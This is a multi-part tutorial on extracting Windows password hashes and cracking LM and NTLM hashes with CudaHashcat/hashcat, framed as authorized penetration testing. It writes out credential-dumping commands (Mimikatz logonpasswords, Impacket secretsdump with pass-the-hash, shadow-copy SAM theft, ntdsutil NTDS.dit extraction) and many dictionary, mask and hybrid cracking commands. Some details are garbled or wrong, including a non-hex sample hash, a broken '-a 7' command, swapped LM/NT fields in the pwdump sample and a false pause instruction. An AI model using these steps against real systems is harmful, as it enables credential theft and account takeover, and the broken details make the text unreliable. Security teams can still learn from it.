Break the Code: Crack LM and NTLM Hashes Using CudaHashCat
Understanding the evolution of Windows authentication protocols helps in grasping why LM and NTLM hashes are still relevant today. LM hashes originated in the early days of LAN Manager, a network operating system developed jointly by Microsoft and 3Com. At the time, security requirements were rudimentary, and computing power was limited, making LM hashing sufficient for its era.
NTLM was introduced as a successor, designed to overcome the limitations of LM. It replaced DES encryption with MD4 hashing, allowing for passwords longer than 14 characters and case sensitivity. However, due to the absence of salting and the use of a weak hash function, NTLM still fails to meet modern security standards.
Today, most Windows systems use Kerberos as the default authentication protocol. However, NTLM remains for fallback scenarios and backward compatibility, especially in networks where legacy applications are still in use. As a result, hashes from these older protocols can still be found on modern networks.
In Windows systems, password hashes are stored in the Security Account Manager (SAM) database. This file is located at:
makefile
CopyEdit
C:\Windows\System32\Config\SAM
Accessing this file while the system is running is protected by Windows. However, attackers with administrative privileges or access to system snapshots can extract it. Common tools used in the retrieval process include:
Once hashes are extracted, attackers often move them to an offline environment where they can run tools like CudaHashcat without detection or network restrictions.
CudaHashcat utilizes CUDA (Compute Unified Device Architecture), NVIDIA’s parallel computing platform, to leverage GPU cores for faster computation. Unlike CPUs, which may have a few powerful cores, GPUs have thousands of smaller, efficient cores optimized for parallel tasks, perfect for hash comparison loops.
CudaHashcat reads hashes from an input file and compares them against generated or listed password candidates. Depending on the selected cracking mode, it may use a static list of passwords (dictionary attack), a defined pattern (mask attack), or complex permutations (rule-based or hybrid attacks).
For example, a dictionary attack command might look like this:
bash
CopyEdit
cudaHashcat64.bin -m 1000 -a 0 hashes.txt wordlist.txt
Where:
Each candidate is hashed in the same way as the target format and compared. A match reveals the original password.
GPU cracking is orders of magnitude faster than CPU-based cracking. For example, an NVIDIA RTX 3090 can calculate billions of NTLM hashes per second. This immense power means even moderately complex passwords can be cracked quickly without optimized defenses.
The choice of GPU also impacts performance. CudaHashcat supports a wide range of NVIDIA GPUs, but newer models with more CUDA cores and faster memory bandwidth provide significant speed advantages. Proper cooling and hardware stability are also critical, as cracking can generate sustained GPU load.
CudaHashcat offers several cracking modes, each suitable for different scenarios:
Professionals often start with dictionary or rule-based attacks, then escalate to mask or brute-force modes based on available resources and time constraints.
Ethical hackers perform hash cracking to simulate real-world attack scenarios. Organizations use these exercises to identify weak password policies, understand credential reuse, and measure resistance to lateral movement. Results often prompt implementation of stronger password policies, such as requiring longer passwords with special characters, enforcing expiration periods, and locking out repeated login attempts.
Additionally, penetration tests might lead to disabling the storage of LM hashes via Group Policy settings:
pgsql
CopyEdit
Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
Setting “Network security: Do not store LAN Manager hash value on next password change” to Enabled prevents future LM hashes from being stored.
A common scenario involves an attacker compromising one system and dumping the SAM file. If LM or NTLM hashes are present, the attacker uses CudaHashcat to crack them offline. If successful, they can reuse those credentials to access other machines in the domain, especially if the user has administrative privileges.
This type of attack, known as pass-the-hash, doesn’t even require cracking. But once passwords are recovered, attackers may impersonate users in web apps, VPNs, or RDP connections. That’s why cracking is considered a high-impact post-exploitation technique.
Beyond avoiding the use of LM hashes, organizations should:
System hardening, user education, and active monitoring work together to make hash cracking less fruitful for attackers.
This part has provided a detailed foundation on how LM and NTLM hashes function, why they are still relevant, and how CudaHashcat is used in ethical hacking engagements to test password robustness.
To effectively use CudaHashcat in password cracking tasks, a properly configured system environment is essential. This includes hardware compatibility, driver installation, and command-line proficiency. This part provides a detailed walk-through of installing and configuring CudaHashcat on Linux and Windows, preparing your input files, and launching your first LM and NTLM cracking tasks.
CudaHashcat relies heavily on GPU performance. Here are the key system requirements:
Optional but helpful: solid-state drive for wordlists and hash files, and good system cooling.
System Update
bash
CopyEdit
sudo apt update && sudo apt upgrade -y
Install Build Tools
bash
CopyEdit
sudo apt install -y build-essential linux-headers-$(uname -r)
Install NVIDIA Driver
bash
CopyEdit
sudo apt install nvidia-driver-535
reboot
Download Hashcat
bash
CopyEdit
git clone https://github.com/hashcat/hashcat.git
cd hashcat
make
Verify Setup
bash
CopyEdit
./hashcat -I
Extract the package and test:
cmd
CopyEdit
hashcat.exe -I
Hashcat expects hashes in plain text. File format:
For NTLM:
CopyEdit
32ed87bdb5fdc5e9cba88547376818d4
For LM:
CopyEdit
44efce164ab921cqaad3b435b51404ee
A dictionary attack tests each word from a list. Simple syntax:
bash
CopyEdit
./hashcat -m 1000 -a 0 hashes.txt wordlist.txt
Where:
Large lists like rockyou.txt and SecLists increase success.
Rules transform base words by adding suffixes, prefixes, replacing characters, or capitalizing letters. This increases crack rates significantly.
bash
CopyEdit
./hashcat -m 1000 -a 0 -r rules/best64.rule hashes.txt wordlist.txt
Create custom rules to match organization-specific password patterns.
Hashcat supports several attack modes. Selecting the right one maximizes efficiency.
Brute-force (-a 3): Tries every possible combination. Time-consuming but exhaustive.
bash
CopyEdit
./hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a
Mask attack: Brute-force with pattern:
bash
CopyEdit
./hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?d?d
Hybrid (-a 6 and -a 7): Combine dictionary with mask:
bash
CopyEdit
./hashcat -m 1000 -a 6 hashes.txt wordlist.txt ?d?d
Maximize GPU performance with:
For example:
bash
CopyEdit
./hashcat -m 1000 –benchmark
This outputhhas ashrate statistics, helping identify hardware bottlenecks.
Hashcat supports session control, useful in long jobs:
bash
CopyEdit
./hashcat -m 1000 -a 0 –session=ntlm_session hashes.txt wordlist.txt
To pause/resume:
bash
CopyEdit
pkill -USR1 hashcat
pkill -CONT hashcat
Resume:
bash
CopyEdit
./hashcat –session=ntlm_session –restore
Hashcat stores cracked passwords in a hash potfile. To view:
bash
CopyEdit
cat hashcat.potfile
Or output directly:
bash
CopyEdit
./hashcat -m 1000 -a 0 hashes.txt wordlist.txt -o found.txt
Scenario: You’re conducting a penetration test on a corporate environment. You retrieve NTLM hashes via a credential dumping tool.
Launch:
bash
CopyEdit
./hashcat -m 1000 -a 0 hashes.txt rockyou.txt
Apply rules:
bash
CopyEdit
./hashcat -m 1000 -a 0 -r rules/best64.rule hashes.txt rockyou.txt
Switch to mask if results are low:
bash
CopyEdit
./hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?d?d
Within minutes, you recover passwords like Admin12, Welcome1, and Qwerty!. These are commonly used by non-technical staff. You document the findings and advise implementing a password policy and multi-factor authentication.
This part provided everything needed to set up CudaHashcat and begin cracking LM/NTLM hashes efficiently. From installing dependencies to executing attack commands, you’ve now entered the practical domain of hash auditing.
As organizations implement stricter password policies, standard dictionary attacks are no longer sufficient. To crack resilient LM and NTLM hashes effectively, cybersecurity professionals must leverage more sophisticated techniques. This part dives into advanced cracking strategies using CudaHashcat, including hybrid attacks, mask optimization, distributed cracking setups, password reuse tactics, and GPU tuning.
Hybrid attacks combine two powerful strategies—dictionary and mask. This approach is particularly effective when users follow predictable patterns, such as appending birth years, lucky numbers, or common suffixes to a base password.
For instance, imagine users in an organization commonly use variations like Password2021, Welcome99, or Summer#23. A traditional dictionary attack might miss these if the base word Password or Summer exists, but the year or suffix doesn’t. With hybrid attacks, we can intelligently generate such permutations.
Example 1: Appending two digits to dictionary words
, , bash
CopyEdit
./hashcat -m 1000 -a 6 hashes.txt rockyou.txt ?d?d
Example 2: Prepending a special character before each word
in bash
CopyEdit
./hashcat -m 1000 -a 7- s rockyou.txt
These techniques can be enhanced further with rules:
bash
CopyEdit
./hashcat -m 1000 -a 6 -r rules/best64.rule hashes.txt rockyou.txt ?d?d
This command simultaneously modifies base words using the best64 rule and appends digits, significantly broadening the cracking potential.
Mask attacks systematically guess characters in a structured format, ideal for when you know or suspect a specific password schema. Mask syntax in Hashcat is powerful:
Cracking Example:
bash
CopyEdit
./hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?d?d
This targets passwords like Admin12, which are common in corporate environments.
Pattern: ?u?l?l?l?l?d?d
You can generate your masks using maskprocessor:
bash
CopyEdit
./mp64.bin -1 ?u?l?d ?1?1?1?1?1?1?1
Breaking large mask attacks into segments lets you parallelize workloads across multiple GPUs or sessions. This is critical when you’re under time constraints or working with a massive hash list.
Use –skip and –limit options:
bash
CopyEdit
./hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a –skip=100000 –limit=500000
This setup helps split the workload across machines or timeframes.
When facing thousands of hashes or needing faster results, distributed cracking is essential. Hashtopolis is a platform for managing hash cracking across multiple devices and teams.
Step-by-step Setup:
Hashtopolis distributes cracking jobs intelligently based on GPU availability and system performance, allowing teams to scale their cracking efforts globally.
One of the most overlooked strategies in password auditing is exploiting user behavior. Many people reuse passwords across platforms, and organizations often recycle legacy passwords.
Step 1: Build a Potfile Database
Step 2: Reuse Potfile on New Targets
bash
CopyEdit
./hashcat -m 1000 hashes.txt– show
This instantly reveals reused passwords, often without additional cracking required.
You can automate the profile comparison across multiple jobs, increasing efficiency and identifying behavioral security risks.
LM hashes are fundamentally weaker than NTLM due to their limited character set and case insensitivity. However, many legacy systems still rely on them.
LM cracking characteristics:
Efficient brute-force attack:
bash
CopyEdit
./hashcat -m 3000 -a 3 hashes.txt ?u?u?u?u?u?u?u
Even modern rainbow tables are often slower than GPU-accelerated brute-force using masks. While LM is rare in modern Windows environments, it’s still seen in legacy systems and should not be overlooked.
Let’s consider a real-world penetration test. You’re handed a dump of 10,000 NTLM hashes extracted from a Windows domain controller.
Initial Dictionary Pass
bash
CopyEdit
./hashcat -m 1000 -a 0 hashes.txt rockyou.txt
Rules-based Augmentation
bash
CopyEdit
./hashcat -m 1000 -a 0 -r rules/best64.rule hashes.txt rockyou.txt
Hybrid for User Patterns
bash
CopyEdit
./hashcat -m 1000 -a 6 -r rules/best64.rule hashes.txt rockyou.txt ?d?d
Brute-force Mask
bash
CopyEdit
./hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?d?d
By the end of the engagement, over 4,500 of 10,000 passwords were recovered, demonstrating poor password hygiene even in a modern enterprise.
For peak performance, tweak CudaHashcat settings:
Monitor performance in real-time:
bash
CopyEdit
watch nvidia-smi
Use these settings to balance performance with system stability.
Advanced tools come with responsibility. Always ensure explicit authorization for engagements. Avoid extracting hashes from production systems without consent. Document findings and responsibly disclose vulnerabilities to stakeholders.
Understanding how to effectively crack password hashes is only half the battle. The other half involves extracting those hashes correctly and legally from target systems. In this final part of the series, we will walk through the techniques used to extract LM and NTLM hashes from Windows systems, prepare them for cracking with CudaHashcat, and ensure the process is conducted ethically and securely. We will also cover analysis strategies, data sanitization practices, and common pitfalls during hash extraction.
To extract LM and NTLM hashes, it’s essential to understand where and how Windows stores them. Windows authentication is based on a combination of hashed credentials stored in the Security Account Manager (SAM) database and domain controller databases such as NTDS.dit.
Before diving into extraction techniques, ensure that you are authorized to operate. Unauthorized extraction or cracking of password hashes can lead to legal consequences. Always work within the bounds of a contract or a written security policy that explicitly permits such activities. Maintain logs, reports, and chain-of-custody documentation for auditing and legal defense if needed.
There are several tools available for extracting LM and NTLM hashes. Here are some of the most reliable ones:
Mimikatz is a post-exploitation tool that can dump credentials, including clear-text passwords, hashes, PINs, and Kerberos tickets from memory.
Usage example:
Run Mimikatz:
bash
CopyEdit
mimikatz
Dump hashes:
mimikatz
CopyEdit
privilege::debug
log hashdump.txt
sekurlsa::logonpasswords
Note: Mimikatz is often flagged by antivirus software and may require bypass techniques or execution in safe environments like red team labs.
This is a command-line tool part of the Impacket suite. It allows dumping password hashes from remote or local machines, especially useful for domain environments.
Basic usage:
bash
CopyEdit
secretsdump.py domain/user:password@target_ip
Or using NTLM hashes for authentication:
bash
CopyEdit
secretsdump.py -hashes <LMhash>:<NTLMhash> domain/user@target_ip
If the attack machine has administrative access to the remote Windows system, this tool will extract the NTDS hashes, ready for offline cracking.
A classic utility to extract LM and NTLM hashes from Windows machines.
Typical syntax:
bash
CopyEdit
pwdump > output.txt
The output is formatted as:
cpp
CopyEdit
username:uid:LM_hash:NTLM_hash:::
This output format is compatible with CudaHashcat, making it a convenient tool when working locally.
For systems where direct access is difficult, you can use Volume Shadow Copy to create snapshots of the registry files.
c
CopyEdit
vssadmin create shadow /for=C:
Then copy the SAM and SYSTEM files from the shadow location and parse them using tools like samdump2.
When dealing with domain controllers, you can use NTDSUtil to extract the NTDS.Do it safely:
cmd
CopyEdit
ntdsutil
Activate instance ntds
ifm
Create full c:\ntds
This method avoids live system tampering and is better suited for large-scale audits.
Once the hashes are dumped, some processing may be required to format them for use with CudaHashcat.
Depending on the tool used, the output may contain extra fields. Here’s a sample line from a pwdump file:
cpp
CopyEdit
Administrator:500:31D6CFE0D16AE931B73C59D7E0C089C0:AAD3B435B51404EEAAD3B435B51404EE:::
This format is perfect for hash mode 1000 in CudaHashcat, which expects lines in:
cpp
CopyEdit
username:uid:LM:NTLM:::
If only the NTLM hash is needed, you can filter it:
bash
CopyEdit
cut -d ‘:’ -f 3,4 hashes.txt > ntlm_hashes.txt
Hash mode selection is critical:
For our purposes, the most used modes are 1000 and 3000.
When both LM and NTLM hashes are present, it’s best to crack them separately due to differing characteristics:
LM cracking example:
bash
CopyEdit
./hashcat -m 3000 -a 3 lm_hashes.txt ?a?a?a?a?a?a?a
NTLM cracking with a wordlist:
bash
CopyEdit
./hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt
After cracking, don’t just stop at the password list. Analyze the output to identify systemic issues.
If the same password is used by multiple accounts, this could signal poor policy enforcement. Use tools like uniq and sort to count occurrences.
bash
CopyEdit
cut -d ‘:’ -f 2 cracked.txt | sort | uniq -c | sort -nr
Look for patterns in passwords—months, seasons, company names. Create a custom wordlist to target those patterns in future audits.
Match cracked hashes to account privilege levels. Compromised administrative accounts should be escalated to incident response immediately.
After completion, sanitize the environment. Hashes and cracked passwords are sensitive data and should be:
Logs and reports should redact full hashes when possible, showing only partial information or account-level summaries.
Cracking LM and NTLM hashes isn’t just about raw GPU power—it’s a blend of technical knowledge, ethical practice, and analytical skill. With tools like CudaHashcat, combined with proper hash extraction and cracking strategy, even strong defenses can be tested effectively.
Cracking LM and NTLM hashes using CudaHashcat is a powerful demonstration of how password security can be tested under real-world conditions. But it’s more than just a technical challenge—it’s a serious responsibility. Throughout this series, we’ve explored the architecture of LM and NTLM hashes, set up a high-performance CudaHashcat environment, employed advanced attack strategies, and learned how to extract hashes ethically and prepare them for cracking.
The key takeaway is this: password hashes are only as strong as the policies behind them. Organizations relying on outdated or weak hashing algorithms like LM are essentially inviting attackers in. Even NTLM, though more secure, is vulnerable to brute force and dictionary attacks if passwords aren’t strong and unique. This highlights the critical need for layered security—encryption, multifactor authentication, access controls, and regular auditing.
Security professionals must balance technical skill with ethical judgment. Always ensure proper authorization, maintain documentation, and disclose findings responsibly. Misuse of these techniques—even unintentionally—can lead to severe consequences.
In a world where data breaches are increasingly common, the ability to evaluate and improve password security is invaluable. Whether you’re a penetration tester, red teamer, or security analyst, mastering tools like CudaHashcat gives you an edge in identifying vulnerabilities before real attackers do.
Use this knowledge wisely—and always with the intent to protect, not to exploit.